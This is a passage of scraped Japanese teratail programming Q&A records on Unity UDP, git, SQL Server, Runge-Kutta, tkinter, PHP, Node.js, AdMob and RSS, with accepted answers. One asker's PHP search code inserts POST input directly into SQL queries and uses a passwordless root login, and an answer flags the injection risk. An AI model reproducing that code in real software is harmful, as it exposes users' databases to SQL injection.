client.Close(); } }
unityでUDP通信の送信をしたい ==================
teratail.com
2020.16
[ { "text": "指定IPがクラスDのIPアドレスなので、マルチキャストで通信しないとだめなのではないでしょうか? \n\n\n送信側 \n\n\n\n```\nIPAddress multicastIpAddress = IPAddress.Parse(\"224.0.23.0\");\nclient = new UdpClient();\nclient.JoinMulticastGroup(multicastIpAddress);\nIPEndPoint remoteEp = new IPEndPoint(multicastIpAddress , 3610);\nclient.Send(dgram, dgram.Length, remoteEp );\n```\n\n \n\n受信側 \n\n\n\n```\nIPAddress multicastIpAddress = IPAddress.Parse(\"224.0.23.0\");\nudp= new UdpClient();\nudp.JoinMulticastGroup(multicastIpAddress);\nIPEndPoint remoteEp = new IPEndPoint(IPAddress.Any, 3610);\nbyte[] data = udp.Receive(ref remoteEp);\n```\n\n \n\nといった感じで、送信側も受信側もマルチキャストグループに参加しなくてはいけないのではないかと思います。 \n\n(ソースは大体の感じで書いたので動作確認していませんし、コンパイルすら通していません) \n\n\n多分、この\"224.0.23.0\"の他に\"192.168~\"というようなクラスA~CのIPアドレスがあるとは思いますので、その場合は上記のようにマルチキャストで行う必要はないかと思います。\n\n", "name": "", "is_accepted": true } ]
8fb59029ef1968413747dff4ed89c77e
git使いだしで早速ハマってしまいました。 いろいろ調べたのですが、どれも当てはまらず。。。 どなたかご経験ございましたらご回答頂けますと幸いです。 なお、質問させて頂くにあたり、足りない情報などございましたらご教示下さい。 ### 前提・実現したいこと git pull origin master リモートリポジトリからプルしたい ### 発生している問題・エラーメッセージ [ec2-user@ip-xx-xx-xx-xxx .git]$ git pull origin master **fatal: This operation must be run in a work tree** branchの状態 [ec2-user@ip-xx-xx-xx-xxx .git]$ git branch master * primary third [ec2-user@ip-xx-xx-xx-xxx .git]$ git branch -a master * primary third remotes/origin/HEAD -> origin/master remotes/origin/add\_design\_pages remotes/origin/add\_omniauth\_function remotes/origin/add\_text\_of\_help remotes/origin/introduction\_of\_rspec remotes/origin/master remotes/origin/modify\_design\_and\_bug remotes/origin/modify\_design\_of\_function\_of\_users ※補足 masterブランチにcheckoutしても同様になります。 その他、以下のコマンドも同様になります。 **git status** **git checkout [branch]** **git branch -D [branch]** でも同様の警告がでます。 【試したこと】 http://d.hatena.ne.jp/yukichanko/20110308/1299579419 masterbranchは初期ではbearとして作成され、bearブランチにはworktreeがないから使えないという記事を見つけ、masterブランチの削除を試みましたが同様の警告でできませんでした。 どのような事象が想定されますでしょうか? どうかよろしくお願い致します。m(\_\_)m
git pull で「fatal: This operation must be run in a work tree」となる ===============================================================
teratail.com
2020.34
[ { "text": "`.git`directoryの中でgitコマンドを実行しないでください\n\n", "name": "", "is_accepted": true } ]
dfd39b7873a89d2d5e85d0e2b7eaf672
**実現したいこと・問題** -------------- 約700万件のレコードをテーブルがあり、列を追加する作業をしております。 具体的にNotNull制約を持つ列を5列程追加するのですが。 単純にNotNull制約の列を追加するとエラーになるので、以下の手順で列追加を行っています。 1.NULL許可の列を追加 ``` ALTER TABLE T_URIAGE ADD COLUMN41 VARCHAR(1) NULL; ``` 2.任意の値を登録 ``` UPDATE T_URIAGE SET COLUMN41 = '1'; ``` 3.NotNull制約へ変更 ``` ALTER TABLE T_URIAGE ALTER COLUMN COLUMN41 VARCHAR(1) NOT NULL; ``` 実行時間は、1の手順に約1秒、2の手順に約20分、3の手順に約20分ほど掛かります。 この時、3の手順でNotNull制約を付けているだけなのに20分も時間がかかるのはなぜなのでしょうか? また、上記の手順以外で列追加の実行時間を短縮する方法はあるのでしょうか? **補足情報** -------- 実行環境はSQL Server 2016です。 元となるテーブルは以下のようなレイアウトです。 ``` CREATE TABLE [dbo].[T_URIAGE]( [COLUMN01] [varchar](10) NOT NULL, [COLUMN02] [varchar](10) NULL, ... [COLUMN40] [varchar](10) NULL, CONSTRAINT [T_URIAGE] PRIMARY KEY CLUSTERED ( [COLUMN01] ASC ) ) ```
テーブルにNotNULL制約の列を追加すると時間がかかるの理由 ===============================
teratail.com
2020.10
[ { "text": "\n> \n> 単純にNotNull制約の列を追加するとエラーになるので \n> \n> \n> \n\n\nなんでもいいからデフォルト値(SQL Server は空文字OK)を入れます。 \n\n\n\n```\nALTER TABLE T_URIAGE ADD COLUMN41 VARCHAR(1) NOT NULL DEFAULT ''\n```\n", "name": "", "is_accepted": true } ]
a474ad9768253a6ffe865b9a46867410
###  前提・実現したいこと htmlのformで1つのradioボタンから2つの値を取得したいです。 ###  該当のソースコード ``` <form id="form" name="search" action=""> <div class="form-list"> <p>形</p> <input type="radio" id="type01" name="type" value="◯"><label for="type01">◯か□</label> <input type="radio" id="type02" name="type" value="△"><label for="type02">△</label> </div> <div class="form-list"> <p>色</p> <input type="radio" id="color01" name="color" value="青"><label for="color01">赤以外</label> <input type="radio" id="color02" name="color" value="赤"><label for="color02">赤</label> </div> <button class="submit" value="">条件で絞り込む</button> </form> ``` ``` $(function () { $.ajax({ url: 'test.json', type: "POST", dataType: "json", success: function(data){ var dataArray = data.test; $('button').on('click',function(event){ event.preventDefault(); var query = $('input:checked').map(function(){ var element = ($(this).attr('name')).replace('[]',''); var obj = {}; obj[element] = $(this).val(); return obj; }).get(); if(query == ''){ query = outputResults(dataArray); } else { var _query = {}; for(var i = 0; i <= 4; i++) { for(var key in query[i]) { _query[key] = query[i][key]; } } query = _query; } var results = _.where(dataArray, query); outputResults(results); console.log(results); var i = $(".button").index(this) var p = $(".result").eq(i).offset().top; $('html,body').animate({ scrollTop: p }, 'fast'); return false; }); function outputResults(results){ var html = ''; jQuery.each(results, function() { ``` ``` { "test":[ { "type":"◯", "color":"赤" }, { "type":"◯", "color":"青" }, { "type":"□", "color":"青" }, { "type":"□", "color":"緑" }, { "type":"△", "color":"緑" } ] } ``` 上記でformからの値を取ってきてjsonの対象のキーで値が同じであればそれを表示それ以外は非表示と言うようにしています。 javascriptのライブラリ「Underscore.js」を使用しています。 ###  試したこと 調べて見て ``` <input type="radio" id="type01" name="type" value="◯ □"><label for="type01">◯か□</label> <input type="radio" id="type01" name="type" value="◯,□"><label for="type01">◯か□</label> ``` など試して見ましたがうまく取得できませんでした。 値が1つの場合は正常に動いています。 後々は取得できた後にさらにソートさせる予定です。 追記 jsonの中などを追記しました。
formのradioボタンで値を2つ取ることはできますか? =============================
teratail.com
2019.43
[ { "text": "こうしてみてはどうでしょうか? \n\n\n\n```\n$(function(){\n $('[value=check]:button').on('click',function(){\n var t=$(this).closest('form').find('[name=type]:checked');\n if(t.length>0){\n console.log(JSON.parse(t.val()));\n }\n });\n});\n```\n\n\n```\n<form>\n<label><input type=\"radio\" name=\"type\" value=\"[&quot;◯&quot;,&quot;□&quot;]\">◯か□</label><br>\n<label><input type=\"radio\" name=\"type\" value=\"[&quot;△&quot;]\">△</label><br>\n<input type=\"button\" value=\"check\">\n</form>\n```\n\n※ただしvalueをきっちりJSON型にしないとうまくparseできずにエラーになります\n\n", "name": "", "is_accepted": true } ]
810821e349b9dd35fcb02e175db3b4f4
Linux,GNOME端末です。Runge-Kutta法でdy/dx=x*x+yを解きます。初期値(x0,y0)=(1,1)計算間隔h=0.1として、答えはx=1.5の時y=2.64233となるはずなのですが、 i      x         y 0    1.0     1.00000 1    1.1     1.22068 2    1.2     1.47764 3    1.3     1.77504 4    1.4     2.11752 5    1.5     2.51019 6    1.6     2.95869 7    1.7     3.46926 8    1.8     4.04880 9    1.9     4.70492 10    2.0     5.44606 となってしまいます。間違いを指摘していただければ幸いです。 ``` #include<stdio.h> #include<math.h> #define F(x,y) (x*x+y) #define h 0.1 int main(void) { double x,y,k1,k2,k3,k4; int i=0; x=y=1.; printf("i x y\n"); printf("%2d %3.1f %7.5f\n",i,x,y); do { i++; k1=h*F(x,y); k2=h*F(x+h/2.,y+k1/2.); k3=h*F(x+h/2.,y+k2/2.); k4=h*F(x+h,y+k3); y+=(k1+2.*k2+2.*k3+k4)/6.; x+=h; printf("%2d %3.1f %7.5f\n",i,x,y); } while(i-(2.0-1.0)/0.1<0); } ```
常微分方程式 ======
teratail.com
2019.43
[ { "text": "\n```\n#define F(x,y) (x*x+y)\n```\n\n \n\nなので、 \n\n\n\n```\nh*F(x+h,y+k3)\n```\n\n \n\nは \n\n\n\n```\nh*(x+h*x+h+y+k3)\n```\n\nになります。 \n\n\n\n```\n#define F(x,y) ((x)*(x)+(y))\n```\n\n \n\nにしましょう \n\n", "name": "", "is_accepted": true } ]
e5cfb2484bfdda5f37b96e6ced230629
### 前提・実現したいこと GUIの実装 ある本で人口無能をGUI化しようとしたのですがうまくいきません。 初心者でどう直していいかわからないので教えてください。 ### 発生している問題・エラーメッセージ ``` TclError: couldn't open "img1.gif": no such file or directory ``` ### 該当のソースコード ``` import tkinter as tk from ptna import * entry = None response\_area = None lb = None action = None ptna = Ptna('ptna') def putlog(str): lb.insert(tk.END, str) def prompt(): p = ptna.name if (action.get())==0: p += ':' + ptna.responder.name return p + '> ' def talk(): value = entry.get() if not value: response_area.configure(text='なに?') else: response = ptna.dialogue(value) response_area.configure(text=response) putlog('> ' + value) putlog(prompt() + response) entry.delete(0, tk.END) def run(): global entry, response_area, lb, action root = tk.Tk() root.geometry('880x560') root.title('Intelligent Agent : ') font=('Helevetica', 14) font\_log=('Helevetica', 11) menubar = tk.Menu(root) root.config(menu=menubar) filemenu = tk.Menu(menubar) menubar.add_cascade(label='ファイル', menu=filemenu) filemenu.add_command(label='閉じる', command=root.destroy) action = tk.IntVar() optionmenu = tk.Menu(menubar) menubar.add_cascade(label='オプション', menu=optionmenu) optionmenu.add_radiobutton( label='Responderを表示', variable = action, value = 0 ) optionmenu.add_radiobutton( label='Responderを表示しない', variable = action, value = 1 ) canvas = tk.Canvas( root, width = 500, height = 300, relief=tk.RIDGE, bd=2 ) canvas.place(x=370, y=0) img = tk.PhotoImage(file = 'img1.gif') canvas.create_image( 0, 0, image = img, anchor = tk.NW ) response\_area = tk.Label( root, width=50, height=10, bg='yellow', font=font, relief=tk.RIDGE, bd=2 ) response_area.place(x=370, y=305) frame = tk.Frame( root, relief=tk.RIDGE, borderwidth = 4 ) entry = tk.Entry( frame, width=70, font=font ) entry.pack(side = tk.LEFT) entry.focus_set() button = tk.Button( frame, width=15, text='話す', command=talk ) button.pack(side = tk.LEFT) frame.place(x=30, y=520) lb = tk.Listbox( root, width=42, height=30, font=font\_log ) sb1 = tk.Scrollbar( root, orient = tk.VERTICAL, command = lb.yview ) sb2 = tk.Scrollbar( root, orient = tk.HORIZONTAL, command = lb.xview ) lb.configure(yscrollcommand = sb1.set) lb.configure(xscrollcommand = sb2.set) lb.grid(row = 0, column = 0) sb1.grid(row = 0, column = 1, sticky = tk.NS) sb2.grid(row = 1, column = 0, sticky = tk.EW) root.mainloop() if \_\_name\_\_ == '__main__': run() ``` ### 試したこと ネットでの解決法の検索 画像をgifとして保存する ### 補足情報(FW/ツールのバージョンなど) Phython3.7
tkinterを使ってのGUI化をしたい ====================
teratail.com
2020.34
[ { "text": "img1.gif が無いという例外です。 \n\nこのファイルをカレントディレクトリに置いてください。 \n\nカレントディレクトリがどこになるかは、スクリプト中で os.getcwd() を呼び出すと確かめることができます。 \n\n\n[ファイルとディレクトリ¶](https://docs.python.org/ja/3/library/os.html?highlight=os%20getcwd#os-file-dir)\n\n", "name": "", "is_accepted": true } ]
689504fecdeb9b2ccef305aa1c589742
### 前提・実現したいこと PHPでPDOを使いデータベースを検索する機能を作成しています。 検索結果が表示された後、リストボックスから項目を選び、並び替えをさせたいです。 ### 該当のソースコード ``` <?php session\_start (); header ( 'Expires:-1' ); header ( 'Cache-Control:' ); header ( 'Pragma:' ); // データベース接続 include\_once 'dbconnect.php'; if (! isset ( $\_SESSION ['user'] )) { header ( "Location: index.php" ); } require\_once ('header.php'); // userからデータを読み込む // クエリの実行 $query = "SELECT * FROM users WHERE user\_id=" . $\_SESSION ['user'] . ""; $result = $mysqli->query ( $query ); if (! $result) { print ('クエリーが失敗しました。' . $mysqli->error) ; $mysqli->close (); exit (); } while ( $row = $result->fetch\_assoc () ) { $user\_id = $row ["user\_id"]; } // データベースの切断 $result->close (); if (count ( $errors ) === 0) { $dsn = 'mysql:host=localhost;dbname=movie\_db;charset=utf8'; $user = 'root'; $password = ''; try { $dbh = new PDO ( $dsn, $user, $password ); $yourname = $\_POST ['yourname']; $genre = $\_POST ['genre']; // キーワードが入力されているとき if ($yourname != "") { if ($genre == "all") { // ジャンル指定なし $sql = $dbh->prepare ( "SELECT * FROM movies WHERE title LIKE '%{$yourname}%'" ); } else { // ジャンル指定あり // プレースホルダへ実際の値を設定する $sql = $dbh->prepare ( "SELECT * FROM movies WHERE genre2 LIKE '%{$genre}%' AND title LIKE '%{$yourname}%'" ); } if ($sql->execute ()) { // レコード件数取得 $row\_count = $sql->rowCount (); while ( $row = $sql->fetch () ) { $rows [] = $row; } } else { $errors ['error'] = "検索失敗しました。"; } // データベース接続切断 $dbh = null; // キーワード指定がないとき } else { if ($genre == 'all') { // ジャンル指定なし $sql = $dbh->prepare ( "SELECT * FROM movies" ); } else { // ジャンル指定あり $sql = $dbh->prepare ( "SELECT * FROM movies WHERE genre2 LIKE '%{$genre}%'" ); } if ($sql->execute ()) { // レコード件数取得 $row\_count = $sql->rowCount (); while ( $row = $sql->fetch () ) { $rows [] = $row; } } else { $errors ['error'] = "検索失敗しました。"; } $yourname = "指定なし"; // データベース接続切断 $dbh = null; } // クッキーを保存 if (isset ( $\_COOKIE ["movie\_db"] )) { $movie\_db = $\_COOKIE ["movie\_db"]; $yourname = $movie\_db ["yourname"]; $genre = $movie\_db ["genre"]; } } catch ( PDOException $e ) { print ('Error:' . $e->getMessage ()) ; $errors ['error'] = "データベース接続失敗しました。"; } } // 観たいリストへ追加ボタン if (isset ( $\_POST ["submit\_list"] )) { $error = "観たいリストへ追加しました。"; } ?> <!DOCTYPE html> <html> <head> <title>検索結果</title> <meta charset="utf-8"> </head> <body> <?php if (count($errors) === 0): ?> <?php // エラーメッセージがあったら表示 if (strlen ( $error ) > 0) { echo "<font size=\"3\" color=\"#da0b00\">{$error}</font><p>"; } ?> <p><?=$row\_count?>件あります</p> <p><?="ジャンル:".htmlspecialchars($genre, ENT\_QUOTES, 'UTF-8')?></p> <p><?="キーワード:".htmlspecialchars($yourname, ENT\_QUOTES, 'UTF-8')?></p> <form method="POST" action="search.php"> <select name="select"> <option value="default" selected="selected">並び替え</option> <option value="newyear">新しい順</option> <option value="oldyear">古い順</option> </select> <div class="search"> <table> <?php foreach ( ( array ) $rows as $row ) { $no = $row ['no']; $title = $row ['title']; $content = $row ['content']; $genre1 = $row ['genre1']; $genre2 = $row ['genre2']; $pic = $row ['pic']; $year = $row ['year']; ?> <tr> <td><img src="./pic/<?=$pic?>" width="100" height="150"></td> </tr> <tr> <td><?=htmlspecialchars($row['title'],ENT\_QUOTES,'UTF-8')?></td> </tr> <tr> <td><?php echo '<a href="up.php?no=' . $no . '"> <input type="button" value="投稿"></a>'; ?> <input type="submit" name="submit\_list" value="観たい"></td> </tr> <tr> <td><?php echo '<a href="movieinfo.php?no=' . $no . '"> <input type="button" value=" 詳細 "></a> </td></tr> '; // } ?> <?php elseif(count($errors) > 0): ?> <?php foreach ( $errors as $value ) { echo "<p>" . $value . "</p>"; } ?> <?php endif; ?> </table> </div> </form> </body> </html> ``` ### 試したこと 以下のようなコードを記述すればよいのかと考えました。 if($select == 'newyear') $sql.="ORDER BY year ASC"; elseif ($select == 'oldyear') $sql.="ORDER BY year DESC"; ### 補足情報(言語/FW/ツール等のバージョンなど) php5.6 html5 xampp Mysql phpの経験が浅く、理解しきれなく質問させていただきました。 説明不足の点が多いと思いますが、よろしくお願い致します。
PHP PDO検索結果の並び替えについて ====================
teratail.com
2021.31
[ { "text": "試したことに書かれている \n\n「$select」が唐突にでてきますが、$selectをなんらかのパラメータで渡せば \n\nその方針でよろしいのでは? \n\n\nちなみにprepare処理をしているのにそのSQL文に変数を直接書き込むのは \n\n本末転倒なのでやめたほうが良いと思います\n\n", "name": "", "is_accepted": true }, { "text": "変数名、ちゃんと付けたほうがイイですよ。 \n\n\nどこに追記するつもりか分かりませんが、`$sql` には結果セットが入っているので、意図した動作になりません。 \n\n\nsql文に追加してあげてください。 \n\n\n**気になった点** \n\n根底にあるのが、変数に対して適切な名付けが出来ていないことがと思います。 \n\n$sql と $error がおかしいです。 \n\n\nまた、全体的に、Web サイトに対してのセキュリティ意識の無いコードになっているので、少なくとも \n\n・SQL インジェクション対策 \n\n・出力エスケープ \n\n・入力値確認 \n\nはしたほうが良いかと。 \n\n\nあと、中途半端にロジックと表示が入り混じっているので、見通しが悪いです。分離したほうがかっこいい。 \n\n\nそれと、`include_once 'dbconnect.php';`の意図が分かりません。 \n\n上記か`$dbh = new PDO ( $dsn, $user, $password );`のいずれかが必要ないと思います。\n\n", "name": "", "is_accepted": false } ]
dc5fa6a8173adda14a47eb5bf02ee6e2
### 前提・実現したいこと ※プログラミング学習を始めて3週間程度なので質問内容が的を得ていなかったらご容赦ください。 ・node.jsでmySQLに接続。 ・任意のURLにアクセスした際に異なるテーブルを複数、同一ページに表示させたい。 ### 最初にこう書いてみました ``` app.get('/ingredients', (req, res) => { connection.query( 'SELECT*FROM ingredients', (error, results) => { if (error) throw error; console.log(results); res.render('ingredients.ejs', {ingredients: results}); }); }); app.get('/ingredients', (req, res) => { connection.query( 'SELECT*FROM ingcategory', (error, results) => { if (error) throw error; console.log(results); res.render('ingredients.ejs', {ingcategory: results}); }); }); app.get('/ingredients', (req, res) => { connection.query( 'SELECT*FROM unit\_code', (error, results) => { if (error) throw error; console.log(results); res.render('ingredients.ejs', {unit\_code: results}); }); }); ``` /ingredients にアクセスした際に、「ingredients」、「ingcategory」、「unit\_code」の三つのテーブルを表示させたいと思っています。 ただこの結果、 ``` ingcategory is not defined ``` とエラーメッセージが出ました。 これは「ingredients」テーブルを取得した時点でページを表示させているので、「ingcategory」「unit\_code」の情報を取得していないためnot definedがでるのだろう。と理解しました。 そこでページを表示させる前に複数のクエリを実行できないかと調べた結果promiseとかasync/awaitを使わないといけないという情報にたどり着きました。ただまだまだ文章を読んで理解には至ることができず、[似たような事例](https://stackoverrun.com/ja/q/10763416)を応用してみることを試しました。 ### 試したこと(コードを理解するまでには至っていませんが。。。) ``` //$ npm install asyncでインストールしました。 var async = require('async'); // getIngTablesを呼び出すことによって3つのテーブルの情報を取得したい let getIngTables = (callback) => { var sql = 'SELECT * from ingredients'; var sql2 = 'SELECT * FROM ingcategory'; var sql3 = 'SELECT * FROM unit\_code'; //みようみまねで書いてみたが、”callback”が必要なのかわからない。 async.parallel([ (callback) => { connection.query(sql, callback) }, (callback) => { connection.query(sql2, callback) } , (callback) => { connection.query(sql3, callback) } ], ); }; //'/ingredients'をリクエストすると上記3つのテーブルの情報が表示されるようにしたい。 app.get('/ingredients', (req, res) => { getIngTables( (err, results) => { if (err) return res.send(err.message); //情報が取得できるか確認のためのconsole.logだが取得できていない console.log(results); //’ingredients.ejs’に上記3つのテーブルの情報を渡したい。 res.render('/ingredients.ejs', getIngTables); }); }); ``` ### 補足情報 promise、async、await、同期処理、非同期処理などのキーワードにぶち当たり色々調べましたが、結局理解に至っていません。 mysql2/asyncというモジュール(?)を[使った似たような例](https://teratail.com/questions/118317)や、[こんな記事](https://cfautog.tokyo/2020/04/09/node-js-mysql2/)も検証しましたが、結局mysql2はインストールできても、”mysql2/async”なるものの使用方法がわからず、この方法は断念。 なんとかいろいろ探って上記のやり方に行き着くも、無間地獄にはまり3日悩んだ挙句、ここに質問させていただきました。 アドバイスをいただければ幸いです。
node.js MySQL -- 複数のテーブル情報を同一ページに表示させたい =======================================
teratail.com
2021.43
[ { "text": "どちらかというとjavascriptにもう少し慣れたほうがいいと思います。私も勉強中です。 \n\n\n\n```\napp.get('/ingredients', (req, res) => {\n connection.query(\n 'SELECT*FROM ingredients',\n (error, results) => {\n if (error) throw error;\n console.log(results);\n res.render('ingredients.ejs', {ingredients: results});\n });\n});\n```\n\n \n\nこれでview側のingredientsでデータ取れているのはわかっていると思います。 \n\n\nconnection.queryを中で繰り返してコールバック地獄しましょう。asyncとかは今は忘れたほうがいいです。 \n\n最初はどう書いていたのかを理解してからpromise、async/awaitにいくのがいいと思います。 \n\n\nコールバックの変数名(error,results)は中で同一にするとバグるので気を付けて。 \n\n\nもちろん未検証です。要はconnection.queryでresultsをどんどん受け取っていきましょう。 \n\n\n\n```\napp.get('/ingredients', (req, res) => {\n connection.query(\n 'SELECT*FROM ingredients',\n (error_r, results_r) => {\n if (error_r) throw error;\n console.log(results_r);\n // ここではまだingredientsしかない\n //res.render('ingredients.ejs', {ingredients: results\\_r});\n\n // 次はingcategory\n connection.query(\n 'SELECT*FROM ingcategory',\n (error_c, results_c) => {\n if (error_c) throw error;\n console.log(results_c);\n // 2つめ!result\\_rとresult\\_c両方使えますね!\n res.render('ingredients.ejs', {ingredients: results_r,ingcategory: results_c});\n });\n});\n```\n", "name": "", "is_accepted": true } ]
f0b60f88739221f5cea416c90fc302c4
### 発生している問題 AdmobメディエーションでVungleとAppLovinのインタースティシャル広告をUnityに実装しました。AppLovinは上手く再生されるのですがVungleの方は再生しません。ご教授いただければ幸いです。 ### 該当のソースコード ``` using UnityEngine; using System; using System.Collections; using System.Collections.Generic; using GoogleMobileAds.Api; using GoogleMobileAds.Api.Mediation.Vungle; public class AdManager : MonoBehaviour { private InterstitialAd _interstitial; string adUnitId = "広告ユニットID"; void Start () { MobileAds.Initialize(adUnitId); RequestInterstitial(); } private void RequestInterstitial() { _interstitial = new InterstitialAd(adUnitId); AdRequest request = new AdRequest.Builder().Build(); _interstitial.LoadAd(request); } public void PlayAd () { if (_interstitial.IsLoaded())  { _interstitial.Show(); } else { RequestInterstitial(); } } } ``` ### 参考にしたガイド [Integrating Vungle with Mediation](https://developers.google.com/admob/unity/mediation/vungle) ### 試したこと AppLovinを一時停止させて、GoogleMobileAdsAppLovinMediationを含めない新規プロジェクトで[こちら](https://teratail.com/questions/111753)の回答を参考に試してみたのですが駄目でした。 「Note: This is no longer required as of version 3.1.0 of the Google Mobile Ads mediation plugin for Vungle.」とあったのですが古いコードも試してみました。 ``` using UnityEngine; using System; using System.Collections; using System.Collections.Generic; using GoogleMobileAds.Api; using GoogleMobileAds.Api.Mediation.Vungle; public class AdManager : MonoBehaviour { private InterstitialAd _interstitial; string adUnitId = "広告ユニットID"; void Start () { MobileAds.Initialize(adUnitId); RequestInterstitial (); } private void RequestInterstitial() { _interstitial = new InterstitialAd(adUnitId); VungleInterstitialMediationExtras extras = new VungleInterstitialMediationExtras(); extras.SetAllPlacements(new string[] { "プレースメントの参照ID\_01","プレースメントの参照ID\_02" }); AdRequest request = new AdRequest.Builder().AddMediationExtras(extras).Build(); _interstitial.LoadAd(request); } public void PlayAd () { if (_interstitial.IsLoaded())  { _interstitial.Show(); } else { RequestInterstitial(); } } } ``` メディエーションテストスイートの情報では広告の読み込みが出来ていないようでした。 (関係ないかもしれませんが広告の詳細な情報画面を開こうとするとアプリが強制終了します) [![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/54372fc2ac9cb343bc7ac143c62bbbfd.jpeg)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/54372fc2ac9cb343bc7ac143c62bbbfd.jpeg) ### 気になったところ 広告の読み込みが出来ていないようでしたので、Admobメディエーションの設定等をチェックしてみたのですが問題ありませんでした。 ガイドにあった「Step 5: Test your implementation」の「Placement Reference ID section」が見当たらず、アプリ設定の方にあった「Test Mode」オンにしています。あとアプリは内部テストの為ストアになく、Vungleの「アプリの接続」は行っていません。 [![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/8611751b614f37182655702b2c1ddea7.jpeg)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/8611751b614f37182655702b2c1ddea7.jpeg) ### 補足情報(FW/ツールのバージョンなど) Unity 2019.2.10f1 Personal Google Mobile Ads Unity Plugin v4.1.0 GoogleMobileAdsVungleMediation v3.1.4
Unity:AdmobメディエーションでVungleを追加したが再生されない。 =======================================
teratail.com
2019.47
[ { "text": "関係ないかもですが、スイートの強制終了は初期化してから読みこむようにすることで直りました。 \n\n\n\n```\nMobileAds.Initialize(adUnitId);\nMobileAds.Initialize(_ =>{\n RequestInterstitial();\n});\n```\n\n \n\n2行目の初期化は初期化情報(InitializeStatus)クラスを引数にもつコールバックを実行します。 \n\n公式ドキュメントでもメディエーションを使う場合はコールバックを待つことが推奨されています。 \n\n[スタートガイド](https://developers.google.com/admob/unity/start)\n\n", "name": "", "is_accepted": true } ]
7acf93ab3e7cf65bcc0d49296e60a5ec
Google検索結果で[ウェブ]、[画像]、[ニュース]、[動画]といった要素にアクセスするために、 キーボードだけで行いたいのですが、 そのショートカットキーってないのでしょうか。
Google検索結果で[ウェブ]、[画像]、[ニュース]、[動画]にアクセスするためのショートカットキーを探しています。 ============================================================
teratail.com
2021.21
[ { "text": "タブキーでアクセスできます。\n \n\n \nただし、押すごとにページ内の要素を順番にたどる仕組みで、\n \n直接のショートカットではなく、お求めのものとは違うかもしれません。\n \nキーボードしか使えない状況も想定して、いちおう回答しました。\n \n \n", "name": "", "is_accepted": false } ]
8437c586a28e24ef72e8ad563dd928a5
CakePHP3での質問です。 私の開発環境は、NetBeansを利用して、制作していますが、 $\_SERVER['REQUEST\_URI'] でURIを取得していますが、この場合、エディタからの警告より、 $\_SERVERに直接アクセスしないでください。かわりに フィリタリング関数を利用した条件をfilter\_input()、is\_*()を使用してくださいのような文書が表示されます。 従って、filter\_input()関数で ``` $uri = filter_input( INPUT_SERVER, "REQUEST\_URI" ) echo $uri; ``` としたのですが、URIを取得することができませんでした。 ネットを検索してみると、php.iniを変更するやり方もありましたが、ローカル環境では、問題ないのですが、私の練習用サーバーでは、php.iniの編集ができないので、できれば、ほかのやり方がないかと探しています。
[cakePHP3] $\_SERVER['REQUEST\_URI']について ========================================
teratail.com
2020.29
[ { "text": "\n```\n$uri = filter_input( INPUT_SERVER, \"REQUEST\\_URI\" )\necho $uri;\n```\n\n書かれている通りなのであれば、シンタックスエラーが原因です。1行目に ; セミコロンがありません。 \n\nまさかとは思いますが、コマンドラインで実行した場合、SERVER変数は値を返しません。 \n\n\n\n```\nvar_dump($\\_SERVER);\n\n$arr = filter_input_array(INPUT_SERVER);\nvar_dump($arr);\n```\n\nを実行して、値を確認してはいかがでしょうか?\n\n", "name": "", "is_accepted": true } ]
ffc9948e659718c0ef2b9d0d4d8c710a
下記の様にRSSから情報を取得しているのですが、$contentsの中の日本語が上手くjsonencodeされず、添付ファイルのように表示されてしまいます。 $x["title"]等に直接同じ文字列を入れるとちゃんと表示されます。 もしわかる方いましたらご教授頂けると幸いです。 何卒よろしくお願い致します。 require\_once './phpQuery-onefile.php'; //RSS取得 $rss = simplexml\_load\_file('https://www.google.co.jp/alerts/feeds/03691758709039141869/17529887448766499343', 'SimpleXMLElement', LIBXML\_NOCDATA); $contents = array(); for ($num = 0; $num < count($rss->entry); $num++) {             $x["link"] = mb\_convert\_encoding($rss->entry[$num]->link->attributes()->href,"HTML-ENTITIES","utf8");             $x["title"] = (String)mb\_convert\_encoding($rss->entry[$num]->title,"HTML-ENTITIES","utf8");             $x["content"] = htmlspecialchars (mb\_convert\_encoding($rss->entry[$num]->content,"HTML-ENTITIES","utf8"));     array\_push($contents,$x); }     echo json\_encode($contents); [![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/9142d9aed1371ad3ea68e7a0391ec3b1.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/9142d9aed1371ad3ea68e7a0391ec3b1.png)
PHPで文字列をリストに追加すると上手くjsonとして吐き出されない ==================================
teratail.com
2021.31
[ { "text": "`mb_convert_encoding`が余計なように思います。 \n\nまた、`SimpleXMLElement`オブジェクトの要素は全て`SimpleXMLElement`オブジェクトなので、配列に代入する際に文字列型にキャストしてやるのが良いでしょう。 \n\n\n\n```\n//RSS取得\n$rss = simplexml_load_file('https://www.google.co.jp/alerts/feeds/03691758709039141869/17529887448766499343', 'SimpleXMLElement', LIBXML_NOCDATA);\n\n$contents = array();\nfor ($num = 0; $num < count($rss->entry); $num++) {\n $x['link'] = (string) $rss->entry[$num]->link->attributes()->href;\n $x['title'] = (string) $rss->entry[$num]->title;\n $x['content'] = (string) $rss->entry[$num]->content;\n array_push($contents, $x);\n}\necho json_encode($contents);\n```\n", "name": "", "is_accepted": true }, { "text": "\n```\n$x[\"content\"] = htmlspecialchars(mb_convert_encoding($rss->entry[$num]->content, \"HTML-ENTITIES\", \"utf8\"));\n```\n\n先に htmlspecialchars を行ってはどうでしょうか。\n\n\n\n```\n$x[\"content\"] = mb_convert_encoding(htmlspecialchars($rss->entry[$num]->content), \"HTML-ENTITIES\", \"utf8\");\n```\n", "name": "", "is_accepted": false } ]
bd5ea794be28e0a3631f245d17c71469
